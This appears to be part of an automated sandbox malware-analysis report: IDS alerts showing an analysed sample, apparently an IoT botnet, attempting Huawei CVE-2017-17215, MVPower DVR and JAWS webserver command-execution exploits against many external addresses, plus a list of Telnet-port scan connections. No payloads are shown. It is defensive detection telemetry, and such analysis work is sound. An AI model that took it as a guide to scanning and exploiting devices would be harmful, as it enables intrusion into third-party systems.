06/01/24-18:15:56.307074	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58850	37215	192.168.2.23	197.35.163.130
06/01/24-18:15:55.260266	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50294	37215	192.168.2.23	156.164.69.210
06/01/24-18:15:56.244182	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56476	80	192.168.2.23	36.17.37.52
06/01/24-18:15:54.238560	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43196	80	192.168.2.23	60.224.142.1
06/01/24-18:15:54.273948	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47462	37215	192.168.2.23	41.90.29.90
06/01/24-18:15:55.260509	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60104	37215	192.168.2.23	41.146.68.75
06/01/24-18:15:54.240412	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35516	80	192.168.2.23	209.98.115.136
06/01/24-18:15:54.273650	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39250	37215	192.168.2.23	41.136.53.187
06/01/24-18:15:54.274543	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38888	37215	192.168.2.23	197.107.164.239
06/01/24-18:15:56.244830	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54968	80	192.168.2.23	90.145.31.137
06/01/24-18:15:56.246394	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33772	80	192.168.2.23	141.114.69.138
06/01/24-18:15:56.244662	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52258	80	192.168.2.23	185.108.7.250
06/01/24-18:15:56.244374	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38836	80	192.168.2.23	19.188.175.96
06/01/24-18:15:56.307552	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60622	37215	192.168.2.23	197.5.152.126
06/01/24-18:15:54.274464	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35470	37215	192.168.2.23	41.101.61.245
06/01/24-18:15:55.265477	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59410	80	192.168.2.23	206.32.126.218
06/01/24-18:15:54.253379	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58048	37215	192.168.2.23	197.126.155.107
06/01/24-18:15:54.255789	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45840	37215	192.168.2.23	156.152.96.204
06/01/24-18:15:55.262354	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57030	37215	192.168.2.23	197.210.56.52
06/01/24-18:15:54.253732	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59608	37215	192.168.2.23	156.3.243.152
06/01/24-18:15:54.255976	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41036	37215	192.168.2.23	156.69.248.105
06/01/24-18:15:53.247444	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38426	80	192.168.2.23	25.119.127.189
06/01/24-18:15:53.241044	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45540	80	192.168.2.23	144.192.66.230
06/01/24-18:15:54.251192	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37366	37215	192.168.2.23	156.33.225.228
06/01/24-18:15:56.308533	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35508	37215	192.168.2.23	156.141.78.170
06/01/24-18:15:54.274260	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60032	37215	192.168.2.23	156.42.136.63
06/01/24-18:15:53.238659	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35842	80	192.168.2.23	83.231.82.8
06/01/24-18:15:54.252168	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49194	37215	192.168.2.23	156.227.20.171
06/01/24-18:15:56.254604	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51930	80	192.168.2.23	188.65.236.49
06/01/24-18:15:54.237830	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36480	80	192.168.2.23	137.234.162.150
06/01/24-18:15:53.241576	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45266	80	192.168.2.23	50.235.115.106
06/01/24-18:15:53.239684	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40992	80	192.168.2.23	52.206.114.48
06/01/24-18:15:54.238640	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53032	80	192.168.2.23	53.223.178.64
06/01/24-18:15:55.263203	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50546	37215	192.168.2.23	156.58.71.89
06/01/24-18:15:54.254259	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59806	37215	192.168.2.23	197.33.181.12
06/01/24-18:15:55.263437	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44642	37215	192.168.2.23	156.23.230.69
06/01/24-18:15:55.267467	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51868	80	192.168.2.23	134.253.46.5
06/01/24-18:15:54.254454	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47530	37215	192.168.2.23	156.234.39.13
06/01/24-18:15:54.256952	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37148	37215	192.168.2.23	41.238.177.50
06/01/24-18:15:56.288015	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41204	37215	192.168.2.23	41.66.66.141
06/01/24-18:15:54.274796	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40428	37215	192.168.2.23	197.99.171.142
06/01/24-18:15:55.266347	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45156	80	192.168.2.23	124.126.158.225
06/01/24-18:15:55.261256	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46470	37215	192.168.2.23	41.215.248.219
06/01/24-18:15:54.287413	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60892	37215	192.168.2.23	41.54.77.148
06/01/24-18:15:54.240600	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38122	80	192.168.2.23	149.39.112.106
06/01/24-18:15:54.241554	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43640	80	192.168.2.23	123.15.159.153
06/01/24-18:15:55.266713	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50786	80	192.168.2.23	170.144.103.21
06/01/24-18:15:54.237960	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41606	80	192.168.2.23	24.179.173.118
06/01/24-18:15:56.307937	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38026	37215	192.168.2.23	41.116.27.9
06/01/24-18:15:53.241504	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54708	80	192.168.2.23	173.142.129.181
06/01/24-18:15:56.255002	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55288	80	192.168.2.23	135.144.55.37
06/01/24-18:15:56.307586	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41184	37215	192.168.2.23	197.199.175.95
06/01/24-18:15:54.240074	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38306	80	192.168.2.23	87.233.87.119
06/01/24-18:15:53.241186	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42926	80	192.168.2.23	173.201.55.115
06/01/24-18:15:54.239931	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35692	80	192.168.2.23	211.152.213.185
06/01/24-18:15:56.246953	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48018	80	192.168.2.23	146.123.63.93
06/01/24-18:15:53.241304	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42066	80	192.168.2.23	198.139.79.120
06/01/24-18:15:54.253050	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54402	37215	192.168.2.23	41.152.169.18
06/01/24-18:15:53.246833	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47804	80	192.168.2.23	161.166.48.249
06/01/24-18:15:56.246876	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49412	80	192.168.2.23	86.86.105.40
06/01/24-18:15:54.253169	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41296	37215	192.168.2.23	197.189.238.220
06/01/24-18:15:54.251714	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55452	37215	192.168.2.23	41.61.54.93
06/01/24-18:15:56.255180	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	32818	80	192.168.2.23	158.200.167.191
06/01/24-18:15:54.252117	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36204	37215	192.168.2.23	41.37.220.142
06/01/24-18:15:54.274985	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39966	37215	192.168.2.23	197.239.222.81
06/01/24-18:15:54.239112	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53466	80	192.168.2.23	95.127.175.227
06/01/24-18:15:56.307106	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41680	37215	192.168.2.23	156.208.181.92
06/01/24-18:15:55.265828	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53224	80	192.168.2.23	102.77.238.93
06/01/24-18:15:54.252555	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49600	37215	192.168.2.23	197.171.180.102
06/01/24-18:15:55.261076	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44092	37215	192.168.2.23	41.191.51.126
06/01/24-18:15:54.275278	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36160	37215	192.168.2.23	156.221.125.6
06/01/24-18:15:54.274661	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58694	37215	192.168.2.23	41.95.142.163
06/01/24-18:15:55.231937	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59916	80	192.168.2.23	223.93.215.58
06/01/24-18:15:55.266035	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34700	80	192.168.2.23	96.191.196.7
06/01/24-18:15:54.275029	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52246	37215	192.168.2.23	41.73.11.125
06/01/24-18:15:54.239986	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44968	80	192.168.2.23	176.78.160.138
06/01/24-18:15:56.245550	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41354	80	192.168.2.23	122.96.155.142
06/01/24-18:15:56.307965	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41492	37215	192.168.2.23	197.90.12.37
06/01/24-18:15:54.239284	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53154	80	192.168.2.23	206.73.46.114
06/01/24-18:15:56.246172	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58268	80	192.168.2.23	92.66.196.17
06/01/24-18:15:54.275592	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58496	37215	192.168.2.23	41.103.71.244
06/01/24-18:15:56.245947	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52912	80	192.168.2.23	118.247.151.83
06/01/24-18:15:53.240726	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50846	80	192.168.2.23	50.8.69.255
06/01/24-18:15:54.254417	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33544	37215	192.168.2.23	41.244.158.164
06/01/24-18:15:53.240394	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49442	80	192.168.2.23	124.60.75.137
06/01/24-18:15:53.239412	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54284	80	192.168.2.23	110.176.150.43
06/01/24-18:15:55.259969	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33794	37215	192.168.2.23	156.84.73.50
06/01/24-18:15:56.308506	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52032	37215	192.168.2.23	41.32.190.153
06/01/24-18:15:53.238700	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47264	80	192.168.2.23	57.222.230.206
06/01/24-18:15:56.287004	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39420	80	192.168.2.23	8.213.71.177
06/01/24-18:15:54.254489	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60378	37215	192.168.2.23	156.88.210.161
06/01/24-18:15:54.255235	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40978	37215	192.168.2.23	156.158.221.167
06/01/24-18:15:54.256393	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36614	37215	192.168.2.23	156.158.95.158
06/01/24-18:15:55.267489	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42554	80	192.168.2.23	32.79.28.244
06/01/24-18:15:54.275795	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47684	37215	192.168.2.23	197.116.0.109
06/01/24-18:15:55.262801	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43862	37215	192.168.2.23	197.162.38.43
06/01/24-18:15:54.252202	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41014	37215	192.168.2.23	156.167.5.201
06/01/24-18:15:54.238961	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37350	80	192.168.2.23	66.47.79.133
06/01/24-18:15:55.272559	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55190	80	192.168.2.23	77.114.121.8
06/01/24-18:15:55.267046	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55082	80	192.168.2.23	49.30.76.125
06/01/24-18:15:54.256722	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52616	37215	192.168.2.23	41.56.241.40
06/01/24-18:15:53.239285	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46058	80	192.168.2.23	51.243.182.171
06/01/24-18:15:54.254976	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56050	37215	192.168.2.23	156.13.177.93
06/01/24-18:15:56.244879	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44768	80	192.168.2.23	27.59.60.107
06/01/24-18:15:56.305877	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34924	37215	192.168.2.23	41.219.48.227
06/01/24-18:15:55.261159	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57668	37215	192.168.2.23	41.223.205.90
06/01/24-18:15:54.240296	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44588	80	192.168.2.23	176.104.168.239
06/01/24-18:15:56.306811	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46756	37215	192.168.2.23	156.208.201.65
06/01/24-18:15:55.263479	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55144	37215	192.168.2.23	41.0.162.73
06/01/24-18:15:54.252592	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41724	37215	192.168.2.23	41.87.170.8
06/01/24-18:15:54.255840	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44038	37215	192.168.2.23	156.42.21.62
06/01/24-18:15:54.256242	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45778	37215	192.168.2.23	197.46.115.89
06/01/24-18:15:54.274865	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43694	37215	192.168.2.23	156.95.177.47
06/01/24-18:15:54.252084	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54532	37215	192.168.2.23	197.159.210.112
06/01/24-18:15:55.272743	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38762	80	192.168.2.23	67.103.151.78
06/01/24-18:15:56.247051	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53500	80	192.168.2.23	52.63.251.95
06/01/24-18:15:54.240510	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41746	80	192.168.2.23	80.152.111.154
06/01/24-18:15:54.254853	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47606	37215	192.168.2.23	197.110.203.35
06/01/24-18:15:53.241698	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40300	80	192.168.2.23	81.78.87.67
06/01/24-18:15:56.306008	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47108	37215	192.168.2.23	41.12.155.54
06/01/24-18:15:53.241218	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	32800	80	192.168.2.23	118.131.29.171
06/01/24-18:15:53.240024	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55394	80	192.168.2.23	12.95.201.102
06/01/24-18:15:53.240427	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34260	80	192.168.2.23	105.120.208.242
06/01/24-18:15:56.307042	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47800	37215	192.168.2.23	41.18.209.9
06/01/24-18:15:56.308237	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45302	37215	192.168.2.23	41.114.72.170
06/01/24-18:15:54.256596	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41396	37215	192.168.2.23	197.204.51.155
06/01/24-18:15:54.275397	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58696	37215	192.168.2.23	156.9.202.179
06/01/24-18:15:55.262262	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39182	37215	192.168.2.23	41.101.17.223
06/01/24-18:15:56.245630	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49634	80	192.168.2.23	13.25.240.24
06/01/24-18:15:53.237533	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40304	80	192.168.2.23	176.184.31.108
06/01/24-18:15:55.262753	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43784	37215	192.168.2.23	197.161.107.182
06/01/24-18:15:54.273912	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35310	37215	192.168.2.23	156.55.54.27
06/01/24-18:15:56.305968	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59194	37215	192.168.2.23	197.192.206.29
06/01/24-18:15:54.273749	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47490	37215	192.168.2.23	41.197.206.174
06/01/24-18:15:54.238712	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39940	80	192.168.2.23	69.42.202.171
06/01/24-18:15:55.259198	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57288	37215	192.168.2.23	197.45.25.85
06/01/24-18:15:54.238118	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60810	80	192.168.2.23	99.170.206.200
06/01/24-18:15:55.268136	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46120	80	192.168.2.23	59.74.146.97
06/01/24-18:15:56.246505	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52478	80	192.168.2.23	172.189.208.197
06/01/24-18:15:53.241108	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52008	80	192.168.2.23	198.24.255.213
06/01/24-18:15:54.275705	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51478	37215	192.168.2.23	197.60.23.205
06/01/24-18:15:54.274503	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56590	37215	192.168.2.23	156.226.16.66
06/01/24-18:15:55.265079	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49604	80	192.168.2.23	174.123.70.55
06/01/24-18:15:54.273833	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40358	37215	192.168.2.23	156.251.190.176
06/01/24-18:15:55.263359	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45096	37215	192.168.2.23	156.11.8.51
06/01/24-18:15:56.254703	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42576	80	192.168.2.23	36.18.192.99
06/01/24-18:15:54.256096	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35190	37215	192.168.2.23	156.2.158.240
06/01/24-18:15:54.240357	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59202	80	192.168.2.23	104.134.7.68
06/01/24-18:15:56.244800	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47080	80	192.168.2.23	85.214.28.20
06/01/24-18:15:56.306118	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36192	37215	192.168.2.23	156.29.82.209
06/01/24-18:15:56.246905	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35964	80	192.168.2.23	117.183.217.79
06/01/24-18:15:54.255482	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57988	37215	192.168.2.23	156.149.206.65
06/01/24-18:15:55.261518	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37822	37215	192.168.2.23	156.121.41.185
06/01/24-18:15:53.247268	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47738	80	192.168.2.23	31.117.7.12
06/01/24-18:15:53.247394	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44764	80	192.168.2.23	5.69.223.73
06/01/24-18:15:54.275135	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39124	37215	192.168.2.23	156.191.243.96
06/01/24-18:15:54.253620	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46024	37215	192.168.2.23	156.8.32.149
06/01/24-18:15:53.240843	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40970	80	192.168.2.23	113.32.208.233
06/01/24-18:15:54.252244	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48832	37215	192.168.2.23	156.198.87.202
06/01/24-18:15:54.253278	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58966	37215	192.168.2.23	156.212.207.12
06/01/24-18:15:55.262188	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56490	37215	192.168.2.23	197.89.180.120
06/01/24-18:15:55.259625	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34526	37215	192.168.2.23	41.179.125.3
06/01/24-18:15:54.274950	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50200	37215	192.168.2.23	197.17.222.156
06/01/24-18:15:55.263799	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47668	37215	192.168.2.23	41.148.200.185
06/01/24-18:15:56.307625	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38878	37215	192.168.2.23	197.19.181.180
06/01/24-18:15:54.252728	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57592	37215	192.168.2.23	156.94.219.6
06/01/24-18:15:56.306738	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44436	37215	192.168.2.23	156.142.205.5
06/01/24-18:15:54.275251	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54080	37215	192.168.2.23	197.126.107.59
06/01/24-18:15:56.287888	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37586	37215	192.168.2.23	197.60.54.58
06/01/24-18:15:54.255551	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39538	37215	192.168.2.23	197.75.33.112
06/01/24-18:15:53.240582	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40758	80	192.168.2.23	136.107.130.201
06/01/24-18:15:55.260976	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55978	37215	192.168.2.23	197.175.191.141
06/01/24-18:15:56.246425	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54018	80	192.168.2.23	115.7.126.94
06/01/24-18:15:54.254818	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38566	37215	192.168.2.23	41.5.46.180
06/01/24-18:15:54.275663	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54092	37215	192.168.2.23	197.165.142.230
06/01/24-18:15:56.307801	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52408	37215	192.168.2.23	156.2.53.201
06/01/24-18:15:55.261655	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57692	37215	192.168.2.23	41.237.153.229

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 1, 2024 18:15:51.180711031 CEST	65001	23	192.168.2.23	70.131.248.228
Jun 1, 2024 18:15:51.180717945 CEST	65001	23	192.168.2.23	111.78.84.76
Jun 1, 2024 18:15:51.180764914 CEST	65001	23	192.168.2.23	27.145.196.48
Jun 1, 2024 18:15:51.180764914 CEST	65001	23	192.168.2.23	126.173.227.52
Jun 1, 2024 18:15:51.180777073 CEST	65001	23	192.168.2.23	150.218.159.61
Jun 1, 2024 18:15:51.180783987 CEST	65001	23	192.168.2.23	199.132.136.121
Jun 1, 2024 18:15:51.180784941 CEST	65001	23	192.168.2.23	180.108.138.11
Jun 1, 2024 18:15:51.180790901 CEST	65001	23	192.168.2.23	192.136.208.225
Jun 1, 2024 18:15:51.180790901 CEST	65001	23	192.168.2.23	67.230.209.56
Jun 1, 2024 18:15:51.180808067 CEST	65001	23	192.168.2.23	118.49.119.48
Jun 1, 2024 18:15:51.180809021 CEST	65001	23	192.168.2.23	210.205.148.71
Jun 1, 2024 18:15:51.180811882 CEST	65001	23	192.168.2.23	208.43.169.205
Jun 1, 2024 18:15:51.180816889 CEST	65001	23	192.168.2.23	135.195.128.218
Jun 1, 2024 18:15:51.180834055 CEST	65001	23	192.168.2.23	65.238.176.218
Jun 1, 2024 18:15:51.180834055 CEST	65001	23	192.168.2.23	134.14.12.5
Jun 1, 2024 18:15:51.180849075 CEST	65001	23	192.168.2.23	122.71.226.68
Jun 1, 2024 18:15:51.180849075 CEST	65001	23	192.168.2.23	17.93.104.146
Jun 1, 2024 18:15:51.180865049 CEST	65001	23	192.168.2.23	189.83.147.223
Jun 1, 2024 18:15:51.180871964 CEST	65001	23	192.168.2.23	175.135.111.54
Jun 1, 2024 18:15:51.180881977 CEST	65001	23	192.168.2.23	149.163.234.131
Jun 1, 2024 18:15:51.180887938 CEST	65001	23	192.168.2.23	197.205.5.130
Jun 1, 2024 18:15:51.180890083 CEST	65001	23	192.168.2.23	20.151.76.158
